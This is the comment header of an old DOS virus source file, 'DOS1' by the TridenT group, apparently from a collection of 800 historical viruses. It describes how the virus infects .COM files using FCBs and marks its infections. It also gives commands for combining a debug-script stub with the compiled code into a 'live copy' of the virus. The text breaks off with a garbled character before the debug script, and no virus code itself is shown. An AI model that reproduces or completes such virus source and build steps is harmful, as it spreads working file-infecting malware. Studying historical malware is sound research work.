dos1.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;DOS1 virus by the TridenT research group - Direct Action appending .COM

;This virus infects .COM files in the current directory using FCB's.
;Other than FCB use, the virus is VERY simple.  Avoids infecting misnamed
;EXE files by using an 'M' at the beginning of files to mark infection.

;This virus requires a stub file made from the following debug script,
;to make it, compile the virus, then create the stub file by removing the
;semicolons from the code between the lines, saving it, and calling it
;vstub.hex.  Then use the following commands:

;               Debug <vstub.hex
;               Copy /b vstub.com+dos1.com virus.com

;And you will have a live copy of the DOS-1 virus.  Please be careful
;with it and do not release it.

;-=-=-=-=-=-=-=-=-=-=-=-=-=餥Begin Debug Script]